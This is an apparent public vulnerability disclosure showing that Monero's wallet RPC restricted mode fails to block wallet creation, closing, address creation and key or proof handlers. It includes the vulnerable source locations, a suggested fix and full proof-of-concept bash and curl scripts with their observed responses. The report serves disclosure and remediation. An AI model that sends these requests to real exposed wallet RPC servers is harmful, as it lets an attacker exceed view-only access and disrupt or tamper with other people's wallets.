HexBrain

Monero · Report #3620006

Wallet RPC Restricted-Mode Policy Bypass

Validstatus
highseverity
54upvotes
17 Aug 2026disclosed

How it was found

Summary

monero-wallet-rpc documents --restricted-rpc as view-only, but multiple non-view-only handlers do not enforce m_restricted.

As a result, a restricted wallet-RPC client can perform state-changing or policy-sensitive operations that should be denied.

Validated locally:

  1. create_wallet succeeds in restricted mode.
  2. close_wallet succeeds in restricted mode.
  3. open_wallet succeeds in restricted mode.
  4. create_address succeeds in restricted mode.
  5. export_key_images reaches a success path instead of returning restricted-mode denial.
  6. get_tx_key and get_reserve_proof reach proof/key-handling logic instead of being denied.

For contrast, once a wallet is loaded, a correctly gated method such as transfer returns Command unavailable in restricted mode.

Severity

Suggested CVSS v3.1: 7.6 with AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L.

Rationale:

  1. The issue is network reachable over wallet RPC.
  2. Restricted mode is explicitly meant to reduce a client to view-only access.
  3. A restricted client can create wallets, close wallets, open wallets, and mutate wallet state.
  4. The current PoC demonstrates unauthorized access to proof/key-related handlers, but it does not claim extraction of secret material from those endpoints.
  5. I validated the bypass with normal digest-auth restricted credentials, so this score does not depend on disabled authentication.
  6. close_wallet causes a real low-grade availability impact by breaking subsequent operations on the active wallet instance until an operator reloads or recreates the wallet state.

Deployment note:

  1. Wallet RPC binds to loopback by default, and authentication remains enabled unless the operator disables it.
  2. The AV:N/PR:L framing assumes an operator intentionally exposes wallet RPC to a remote restricted client, not the out-of-the-box local-only posture.

AI Usage Disclosure

AI assistance was used for code review, draft organization, and local validation planning. All substantive technical claims retained here were checked against the local source tree and local runtime results before inclusion.

Affected Versions

Validated on local master at:

b9998fc9e1c280d30e4b40ba983b1964eb256d66

Repository history shows wallet-RPC restricted mode was introduced by commit:

a64f57fe42292720415a507feb4f543ef3c3adbe

Released tags containing that commit begin with:

v0.13.0.0-RC1

Conservative affected range:

  1. v0.13.0.0-RC1 and later releases containing wallet-RPC restricted mode
  2. all v0.13.x
  3. all v0.14.x
  4. all v0.15.x
  5. all v0.16.x
  6. all v0.17.x
  7. all v0.18.x
  8. current master

Root Cause

Restricted-mode enforcement is implemented ad hoc inside individual handlers instead of through a centralized allowlist or denylist.

The advertised restricted/view-only mode:

const command_line::arg_descriptor<bool> arg_restricted = {"restricted-rpc", "Restricts to view-only commands", false};

Source:

  1. src/wallet/wallet_rpc_server.cpp:130

Correctly gated example:

if (m_restricted)
{
  er.code = WALLET_RPC_ERROR_CODE_DENIED;
  er.message = "Command unavailable in restricted mode.";
  return false;
}

Source:

  1. src/wallet/wallet_rpc_server.cpp:1240

Handlers missing restricted-mode checks:

  1. on_set_subaddr_lookahead() at src/wallet/wallet_rpc_server.cpp:706 (source-reviewed, not separately PoC'd)
  2. on_create_address() at src/wallet/wallet_rpc_server.cpp:732
  3. on_label_address() at src/wallet/wallet_rpc_server.cpp:770 (source-reviewed, not separately PoC'd)
  4. on_create_account() at src/wallet/wallet_rpc_server.cpp:833 (source-reviewed, not separately PoC'd)
  5. on_label_account() at src/wallet/wallet_rpc_server.cpp:851 (source-reviewed, not separately PoC'd)
  6. on_tag_accounts() at src/wallet/wallet_rpc_server.cpp:887 (source-reviewed, not separately PoC'd)
  7. on_untag_accounts() at src/wallet/wallet_rpc_server.cpp:903 (source-reviewed, not separately PoC'd)
  8. on_set_account_tag_description() at src/wallet/wallet_rpc_server.cpp:919 (source-reviewed, not separately PoC'd)
  9. on_get_tx_key() at src/wallet/wallet_rpc_server.cpp:2640
  10. on_get_tx_proof() at src/wallet/wallet_rpc_server.cpp:2732 (source-reviewed, not separately PoC'd)
  11. on_get_spend_proof() at src/wallet/wallet_rpc_server.cpp:2799 (source-reviewed, not separately PoC'd)
  12. on_get_reserve_proof() at src/wallet/wallet_rpc_server.cpp:2849
  13. on_export_key_images() at src/wallet/wallet_rpc_server.cpp:3148
  14. on_start_mining() at src/wallet/wallet_rpc_server.cpp:3535
  15. on_stop_mining() at src/wallet/wallet_rpc_server.cpp:3570 (source-reviewed, not separately PoC'd)
  16. on_create_wallet() at src/wallet/wallet_rpc_server.cpp:3592
  17. on_open_wallet() at src/wallet/wallet_rpc_server.cpp:3685
  18. on_close_wallet() at src/wallet/wallet_rpc_server.cpp:3756

Proof of Concept

The following scripts reproduce the bypasses in sequence against a locally running restricted instance and include the exact JSON responses observed during local validation.

Inline PoC: unauthenticated restricted local reproduction

#!/usr/bin/env bash
set -euo pipefail

PORT=28090
ROOT=/tmp/monero-wallet-rpc-restricted-test
WALLETS="$ROOT/wallets"
BIN=./build-audit-run/bin/monero-wallet-rpc

mkdir -p "$WALLETS"

"$BIN" \
  --wallet-dir "$WALLETS" \
  --restricted-rpc \
  --disable-rpc-login \
  --offline \
  --rpc-bind-ip 127.0.0.1 \
  --rpc-bind-port "$PORT" \
  --non-interactive \
  --log-level 0 &
PID=$!
trap 'kill "$PID" >/dev/null 2>&1 || true' EXIT
sleep 1

rpc() {
  curl -sS -H 'Content-Type: application/json' --data "$1" "http://127.0.0.1:$PORT/json_rpc"
  printf '\n'
}

echo 'create_wallet='
rpc '{"jsonrpc":"2.0","id":"0","method":"create_wallet","params":{"filename":"attacker_wallet","password":"testpass","language":"English"}}'

echo 'transfer_with_wallet='
rpc '{"jsonrpc":"2.0","id":"10","method":"transfer","params":{"destinations":[],"priority":0}}'

echo 'close_wallet='
rpc '{"jsonrpc":"2.0","id":"2","method":"close_wallet","params":{"autosave_current":true}}'

echo 'get_balance_after_close='
rpc '{"jsonrpc":"2.0","id":"3","method":"get_balance","params":{}}'

echo 'open_wallet='
rpc '{"jsonrpc":"2.0","id":"4","method":"open_wallet","params":{"filename":"attacker_wallet","password":"testpass"}}'

echo 'create_address='
rpc '{"jsonrpc":"2.0","id":"7","method":"create_address","params":{"account_index":0,"label":"evil-sub"}}'

echo 'export_key_images='
rpc '{"jsonrpc":"2.0","id":"8","method":"export_key_images","params":{"all":true}}'

echo 'get_tx_key='
rpc '{"jsonrpc":"2.0","id":"9","method":"get_tx_key","params":{"txid":"0000000000000000000000000000000000000000000000000000000000000000"}}'

echo 'get_reserve_proof='
rpc '{"jsonrpc":"2.0","id":"11","method":"get_reserve_proof","params":{"all":true,"account_index":0,"amount":0,"message":"hello"}}'

Inline PoC logs: observed local output

create_wallet=
{
  "id": "0",
  "jsonrpc": "2.0",
  "result": {}
}

transfer_with_wallet=
{
  "error": {
    "code": -7,
    "message": "Command unavailable in restricted mode."
  },
  "id": "10",
  "jsonrpc": "2.0"
}

close_wallet=
{
  "id": "2",
  "jsonrpc": "2.0",
  "result": {}
}

get_balance_after_close=
{
  "error": {
    "code": -13,
    "message": "No wallet file"
  },
  "id": "3",
  "jsonrpc": "2.0"
}

open_wallet=
{
  "id": "4",
  "jsonrpc": "2.0",
  "result": {}
}

create_address=
{
  "id": "7",
  "jsonrpc": "2.0",
  "result": {
    "address": "8C7psYHwSsHMsaswTBBTkiPixnhTecvpYPs2L93pnJePVw8b26ND5ot1m8mAEyWKQxASEsBSqi53i2TFf9hzXso1KHvijP6",
    "address_index": 1,
    "address_indices": [1],
    "addresses": ["8C7psYHwSsHMsaswTBBTkiPixnhTecvpYPs2L93pnJePVw8b26ND5ot1m8mAEyWKQxASEsBSqi53i2TFf9hzXso1KHvijP6"]
  }
}

export_key_images=
{
  "id": "8",
  "jsonrpc": "2.0",
  "result": {
    "offset": 0
  }
}

get_tx_key=
{
  "error": {
    "code": -24,
    "message": "No tx secret key is stored for this tx"
  },
  "id": "9",
  "jsonrpc": "2.0"
}

get_reserve_proof=
{
  "error": {
    "code": -1,
    "message": "Zero balance"
  },
  "id": "11",
  "jsonrpc": "2.0"
}

Inline PoC: authenticated restricted local reproduction

#!/usr/bin/env bash
set -euo pipefail

PORT=28091
ROOT=/tmp/monero-wallet-rpc-restricted-auth-test
WALLETS="$ROOT/wallets"
BIN=./build-audit-run/bin/monero-wallet-rpc

mkdir -p "$WALLETS"

"$BIN" \
  --wallet-dir "$WALLETS" \
  --restricted-rpc \
  --offline \
  --rpc-bind-ip 127.0.0.1 \
  --rpc-bind-port "$PORT" \
  --non-interactive \
  --log-level 0 &
PID=$!
trap 'kill "$PID" >/dev/null 2>&1 || true' EXIT
sleep 1

CREDS="$(cat monero-wallet-rpc.$PORT.login)"

rpc_auth() {
  curl -sS --digest -u "$CREDS" -H 'Content-Type: application/json' --data "$1" "http://127.0.0.1:$PORT/json_rpc"
  printf '\n'
}

echo 'create_wallet_auth='
rpc_auth '{"jsonrpc":"2.0","id":"12","method":"create_wallet","params":{"filename":"auth_wallet","password":"testpass","language":"English"}}'

echo 'create_address_auth='
rpc_auth '{"jsonrpc":"2.0","id":"14","method":"create_address","params":{"account_index":0,"label":"auth-sub"}}'

Inline PoC logs: authenticated observed local output

create_wallet_auth=
{
  "id": "12",
  "jsonrpc": "2.0",
  "result": {}
}

create_address_auth=
{
  "id": "14",
  "jsonrpc": "2.0",
  "result": {
    "address": "8BCxEqJFydYjJqHCS1DXbgaHSGyzU65YdiymNYEa3pcQSj24Rdxa15YbFJyyd2xvUbMUKcc67F3S9NC6iYPmod815jq7cy3",
    "address_index": 1,
    "address_indices": [1],
    "addresses": ["8BCxEqJFydYjJqHCS1DXbgaHSGyzU65YdiymNYEa3pcQSj24Rdxa15YbFJyyd2xvUbMUKcc67F3S9NC6iYPmod815jq7cy3"]
  }
}

Validation

Build

cmake --build build-audit-run --target wallet_rpc_server -j4

Unauthenticated restricted local reproduction

Started locally with:

mkdir -p /tmp/monero-wallet-rpc-restricted-test/wallets
./build-audit-run/bin/monero-wallet-rpc \
  --wallet-dir /tmp/monero-wallet-rpc-restricted-test/wallets \
  --restricted-rpc \
  --disable-rpc-login \
  --offline \
  --rpc-bind-ip 127.0.0.1 \
  --rpc-bind-port 28090 \
  --non-interactive \
  --log-level 0

I first loaded a wallet with create_wallet. Otherwise transfer hits No wallet file before it reaches the restricted-mode denial branch.

Restricted create_wallet:

curl -sS -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":"0","method":"create_wallet","params":{"filename":"attacker_wallet","password":"testpass","language":"English"}}' \
  http://127.0.0.1:28090/json_rpc

Observed:

{
  "id": "0",
  "jsonrpc": "2.0",
  "result": {}
}

Negative control after a wallet is loaded:

curl -sS -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":"10","method":"transfer","params":{"destinations":[],"priority":0}}' \
  http://127.0.0.1:28090/json_rpc

Observed:

{
  "error": {
    "code": -7,
    "message": "Command unavailable in restricted mode."
  },
  "id": "10",
  "jsonrpc": "2.0"
}

Restricted close_wallet:

curl -sS -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":"2","method":"close_wallet","params":{"autosave_current":true}}' \
  http://127.0.0.1:28090/json_rpc

Observed:

{
  "id": "2",
  "jsonrpc": "2.0",
  "result": {}
}

Follow-up:

curl -sS -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":"3","method":"get_balance","params":{}}' \
  http://127.0.0.1:28090/json_rpc

Observed:

{
  "error": {
    "code": -13,
    "message": "No wallet file"
  },
  "id": "3",
  "jsonrpc": "2.0"
}

Restricted open_wallet:

curl -sS -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":"4","method":"open_wallet","params":{"filename":"attacker_wallet","password":"testpass"}}' \
  http://127.0.0.1:28090/json_rpc

Observed:

{
  "id": "4",
  "jsonrpc": "2.0",
  "result": {}
}

Restricted create_address:

curl -sS -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":"7","method":"create_address","params":{"account_index":0,"label":"evil-sub"}}' \
  http://127.0.0.1:28090/json_rpc

Observed:

{
  "id": "7",
  "jsonrpc": "2.0",
  "result": {
    "address": "8C7psYHwSsHMsaswTBBTkiPixnhTecvpYPs2L93pnJePVw8b26ND5ot1m8mAEyWKQxASEsBSqi53i2TFf9hzXso1KHvijP6",
    "address_index": 1,
    "address_indices": [1],
    "addresses": ["8C7psYHwSsHMsaswTBBTkiPixnhTecvpYPs2L93pnJePVw8b26ND5ot1m8mAEyWKQxASEsBSqi53i2TFf9hzXso1KHvijP6"]
  }
}

Restricted export_key_images:

curl -sS -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":"8","method":"export_key_images","params":{"all":true}}' \
  http://127.0.0.1:28090/json_rpc

Observed:

{
  "id": "8",
  "jsonrpc": "2.0",
  "result": {
    "offset": 0
  }
}

Restricted get_tx_key:

curl -sS -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":"9","method":"get_tx_key","params":{"txid":"0000000000000000000000000000000000000000000000000000000000000000"}}' \
  http://127.0.0.1:28090/json_rpc

Observed:

{
  "error": {
    "code": -24,
    "message": "No tx secret key is stored for this tx"
  },
  "id": "9",
  "jsonrpc": "2.0"
}

Restricted get_reserve_proof:

curl -sS -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":"11","method":"get_reserve_proof","params":{"all":true,"account_index":0,"amount":0,"message":"hello"}}' \
  http://127.0.0.1:28090/json_rpc

Observed:

{
  "error": {
    "code": -1,
    "message": "Zero balance"
  },
  "id": "11",
  "jsonrpc": "2.0"
}

Authenticated restricted local reproduction

Started locally with normal digest auth enabled:

mkdir -p /tmp/monero-wallet-rpc-restricted-auth-test/wallets
./build-audit-run/bin/monero-wallet-rpc \
  --wallet-dir /tmp/monero-wallet-rpc-restricted-auth-test/wallets \
  --restricted-rpc \
  --offline \
  --rpc-bind-ip 127.0.0.1 \
  --rpc-bind-port 28091 \
  --non-interactive \
  --log-level 0

The server generated local credentials:

monero:<generated-password>

Authenticated restricted create_wallet:

curl -sS --digest -u 'monero:<generated-password>' \
  -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":"12","method":"create_wallet","params":{"filename":"auth_wallet","password":"testpass","language":"English"}}' \
  http://127.0.0.1:28091/json_rpc

Observed:

{
  "id": "12",
  "jsonrpc": "2.0",
  "result": {}
}

Authenticated restricted create_address:

curl -sS --digest -u 'monero:<generated-password>' \
  -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":"14","method":"create_address","params":{"account_index":0,"label":"auth-sub"}}' \
  http://127.0.0.1:28091/json_rpc

Observed:

{
  "id": "14",
  "jsonrpc": "2.0",
  "result": {
    "address": "8BCxEqJFydYjJqHCS1DXbgaHSGyzU65YdiymNYEa3pcQSj24Rdxa15YbFJyyd2xvUbMUKcc67F3S9NC6iYPmod815jq7cy3",
    "address_index": 1,
    "address_indices": [1],
    "addresses": ["8BCxEqJFydYjJqHCS1DXbgaHSGyzU65YdiymNYEa3pcQSj24Rdxa15YbFJyyd2xvUbMUKcc67F3S9NC6iYPmod815jq7cy3"]
  }
}

This confirms the bug does not depend on disabled authentication.

Suggested Fix

Do not keep restricted-mode enforcement distributed across individual handlers.

Recommended fix:

  1. Define a centralized allowlist of truly view-only wallet RPC methods.
  2. Reject any non-allowlisted method before handler dispatch when m_restricted is set.
  3. Add regression coverage that compares restricted-mode behavior for both allowed and denied methods.

Example allowlist candidates consistent with the documented view-only contract:

  1. get_balance
  2. get_address
  3. get_height
  4. get_accounts
  5. get_transfers
  6. get_transfer_by_txid
  7. get_address_book
  8. get_version
  9. query_key only when key_type == "view_key"; spend-key queries should remain denied

Impact

A remote restricted wallet-RPC client can exceed the product's intended view-only privilege boundary.

Confirmed locally:

  1. create new wallets
  2. close the active wallet
  3. mutate wallet address state
  4. reach proof/key-related handlers that should not be accessible to restricted clients, even though this PoC did not extract secret material from them

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original